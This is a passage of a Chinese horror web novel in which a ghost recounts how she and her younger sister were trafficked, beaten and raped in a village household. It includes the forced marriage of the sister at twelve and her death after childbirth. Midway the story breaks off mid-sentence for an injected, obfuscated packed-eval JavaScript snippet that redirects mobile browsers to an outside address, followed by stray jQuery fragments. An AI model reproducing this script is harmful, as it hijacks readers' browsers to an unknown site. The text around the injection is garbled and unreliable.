“他把我们领进张村那天，是个阴天。村口的槐花开得正盛，白的像雪，风一吹，花瓣落在阿雀头发上，接近一岁的她还仰着脸笑，仿佛在说‘姐，这地方真好看’。”


    朱阿绣伸出手，虚虚地在空中抓了一下，仿佛要抓住那些早已腐烂的花瓣。


    “张柏舟直接把我们领到他家。他娘是个小脚老太太，坐在堂屋的太师椅上，手里捏着一串佛珠，眼睛像锥子一样，把我们从头到脚刮了一遍。然后她对张柏舟说：‘大的给你生崽，小的给我绣花。’”


    “那时候我不懂什么叫‘生崽’，阿雀肯定也不懂什么叫‘绣花’。我们只是饿，看见桌上摆着窝窝头和咸菜，眼睛都直了。张柏舟他娘让我们吃，我们就吃，吃得噎住了，就喝冷水往下顺。”


    “晚上，张柏舟把我拽进西屋。那屋里只有一张炕，炕上铺着破草席。他把我按在炕上，我哭，我喊，我咬他，他用腰带抽我的嘴，抽得我满嘴是血。后来……后来我就不记得了。只记得窗户外头，阿雀在哭，哭得很大声很大声。”


    朱阿绣的声音越来越低，低到几乎听不见。但祠堂里太静了，静到她每一个气音都清晰得像刀片刮过骨头。


    “第二天，我浑身疼得爬不起来。张柏舟他娘端着针线筐进来，扔给我一件破衣裳，让我补。我捏着针，手抖得厉害，针尖扎进指头，血珠冒出来，滴在灰布上，像开了一朵小小的梅花。”


    “过了几年，我肚子一直没有动静，阿雀长大了，被叫去堂屋。那老太太让她绣一副《百子图》，说是要挂在新房里的。阿雀被她训练的手很巧，可那《百子图》复杂，要绣一百个胖娃娃，每个娃娃姿态都不一样。老太太说，绣不完就不给饭吃。”


    “从那天起，我和阿雀就分开了。我住在西屋，每天给张家人缝补浆洗，伺候张柏舟。阿雀住在堂屋隔壁的小厢房里，从早到晚对着绣架，手指被针扎得密密麻麻全是眼儿。她绣了三个月，绣完了，眼睛差点瞎了。可那副《百子图》……最后挂在了张柏舟和我睡的屋里。”


    朱阿绣说到这里，忽然抬头看向神龛上那截树根，目光钉在那些缕发丝上。


    “那副绣品，里面有些线用的是阿雀的头发。”她轻轻说，“老太太说，用绣娘自己的头发绣进去，绣出来的东西才有魂，能保佑多子多福。阿雀的头发又细又软，绣出来的娃娃像活的。可绣完那天，她后脑勺有一块秃了，头发被生生薅下来一大把。”


    门外传来指甲刮擦门板的声音。


    “刺啦——刺啦——”


    那声音缓慢而持久，像是有谁用钝刀在木头上反复磨蹭，听得人牙根发酸。李安回头看了一眼，脸色发白，但门板暂时还撑得住，只是那些刮擦声越来越密集，从门板的下半部分一直延伸到门楣，仿佛有无数只手在同时抓挠。


    “后来呢？”方珞一问。她的声音有些发颤，不知是害怕，还是愤怒。


    “后来……”朱阿绣闭上眼睛，深深吸了一口气，胸腔里发出风箱般的声音，“后来我终于怀上了孩子。张柏舟很高兴，他娘却不太高兴，说等这么久才怀，要是头一胎是个女娃，就扔进后山的枯井里。我吓得整夜整夜睡不着，摸着肚子，有时候希望是个男孩，有时候又希望它干脆不要生出来。”


    “阿雀偷偷来看我。她瘦得只剩一把骨头，眼睛大得吓人，可手里还捏着针，指头上缠着破布，布上渗着血。她塞给我半个窝窝头，是她从自己嘴里省下来的。她才十多岁，却成熟的像个大人：‘姐，你要好好的，等孩子生了，我们一起逃。’”


    “可孩子还没生，张柏舟出事了。”朱阿绣的嘴角扯了扯，像是在笑，可眼睛里却是一片死寂，“他在外头拐人的时候，被另一伙拐子黑了，打断了一条腿，抬回来的时候只剩半口气。他娘哭天抢地，请了郎中，郎中说腿保不住了，以后就是个瘸子。”


    “张柏舟醒来后，脾气变得很坏。他不能出去拐人了，就天天在家里喝酒，喝醉了就打我，用拐杖抽，抽得我身上没一块好肉。有一次他抽我肚子，我疼得晕过去，醒来的时候身下全是血……孩子没了。”


    “那……那族谱里写的你儿子张收是？”我疑惑问道。


    祠堂里的烛火忽然齐齐晃了一下。


    不是风，祠堂里此刻根本没有风。那些烛火像是被什么无形的东西惊扰了，火苗猛地一矮，接着又窜得老高，把整个祠堂照得一片血红。神龛上那些发丝无风自动，小铜铃虽然被红线固定，却齐齐发出“嗡嗡”的震颤声，像是有什么东西在铃里挣扎。


    朱阿绣好像没看见这些异样。她依旧靠着墙，眼睛望着虚空，继续说下去，仿佛这些话在她心里憋了太久，一旦开了口，就再也停不下来。


    “他从来都不存在，是张柏舟贿赂了人，强行给写进去的，只为……只为后续能给阿雀安个能留在村子里的名头……”她双眼凄凄，继续道，“那次流产后，张柏舟他娘说是我克夫克子，要把我赶出去。可张柏舟不答应，他说我还能生，养好了再生。其实我知道，他是舍不得，舍不得一个不用花钱拐来的女人，舍不得一个可以随便打骂的牲口。”


    “我在炕上躺了半个月，是阿雀偷偷照顾我。她趁着张家人睡了，摸黑进来给我擦身子，喂我喝水。我的身子垮了，郎中说是寒气入了胞宫，以后很难再有孕。阿雀哭着说：‘姐，我们逃吧，现在就走。’”


    “可我们没逃成。”朱阿绣的声音忽然变得很轻，轻得像一片羽毛，可这片羽毛却带着千钧的重量，沉甸甸地压在每个人心上，“张柏舟他娘发现了。那老太太看着瘦小，力气却大得很，她抓着阿雀的头发，把她拖到院子里，用藤条抽。阿雀不哭不喊，只是瞪着她，眼睛亮得吓人。”


    “抽完了，老太太对阿雀说：‘你姐生不出儿子，你以后来生。’”


    方珞一猛地捂住嘴，发出一声压抑的抽气。


    我也觉得胸腔里有什么东西堵住了，呼吸困难。祠堂里的空气好像突然变得粘稠，带着陈年的血腥和霉味，从四面八方挤压过来。


    “阿雀十二岁那年。”朱阿绣的声音依旧平静，可那平静底下，是滔天的、凝固了的恨，“张柏舟的腿瘸了，可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864767|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他娘说，瘸了也能生。她让张柏舟娶阿雀，做小。我说不行，阿雀是我妹妹，你们不能……张柏舟用拐杖砸我的头，砸得我昏死过去。”


    “等我醒来的时候，阿雀已经穿着红嫁衣，坐在西屋里了。那嫁衣是老太太年轻时候穿的，又旧又小，穿在阿雀身上紧绷绷的，袖口都绽了线。阿雀坐在炕沿上，盖着红盖头，一动不动，像个纸扎的人。”


    “我爬过去，掀开盖头。阿雀脸上涂着劣质的胭脂，嘴唇红得吓人，可眼睛里一滴泪都没有。她看着我，说：‘姐，我不怕。’”


    “那天晚上，张柏舟进了屋。我在门外听着，听着阿雀闷闷的哭声，听着张柏舟粗重的喘息，听着炕板‘吱呀吱呀’的响。我坐在地上，用头一下一下撞墙，撞得额头出血，可里头的动静还是没停。”


    “后来……后来阿雀就怀孕了。”朱阿绣的声音终于有了一丝波动，那波动很轻微，像是冰面下的暗流，“她怀孕之后，老太太对她好了些，至少不打她了。可张柏舟还是喝酒，喝醉了就打我，有时候也打阿雀，说我们姐妹俩是丧门星，克得他断了腿，绝了后。”


    “阿雀的肚子一天天大起来，人却一天天瘦下去。她不太说话，只是整天坐在厢房里绣花，绣的都是些古怪的图案——断了线的风筝，折了翅膀的鸟，枯井，还有……还有小孩的骷髅。”


    “老太太看见了，把绣架砸了，针线筐踢翻，骂阿雀是妖孽。阿雀不说话，只是蹲在地上，一根一根把针捡起来，擦干净，收进针线包里。她那样子，平静得可怕。”


    “临产那天，是个雪夜。”朱阿绣的眼睛里终于有了焦距，那焦距落在供桌上那本摊开的族谱上，落在“朱阿雀”三个小篆字上，“阿雀疼了一天一夜，接生婆说胎位不正，生不下来。老太太急了，在院子里骂，说要是生个女娃，就连大人一起扔进枯井。”


    “后来……后来孩子终于生下来了，是个男孩。接生婆把孩子抱出来，张柏舟他娘喜得直念佛。可阿雀……阿雀大出血，怎么都止不住。”


    朱阿绣的声音哽住了。她抬手捂住脸，可手指的缝隙里，有浑浊的液体渗出来，不是泪，是暗红色的、带着腥气的黏液。


    “接生婆说，得抬到祠堂里去拜祖宗，求祖宗保佑。可老太太不让，她说：‘女人就不能进祠堂，而且现在是在过鬼门关，脚不能沾祖祠地，晦气。’”


    “他们……他们就把阿雀抬到祠堂后头的柴房里。那柴房紧挨着枯井，四面漏风，屋顶漏雪。阿雀躺在干草堆上，身下的血把干草都浸透了，红得刺眼。”


    “我追过去的时候，阿雀已经不行了。她脸色白得像纸，嘴唇一点血色都没有，可眼睛却亮得吓人。她抓着我的手，抓得那么紧，指甲都掐进我肉里。她说……”


    朱阿绣松开捂着脸的手，抬起头。她的脸上满是暗红色的泪痕，那泪痕在烛光下像一道道裂开的伤口。


    “她说：‘姐，别让信儿进祠堂。’”


    “她说：‘他若进去，就把我骨头磨粉，锁他一辈子。’”


    祠堂里死一般寂静。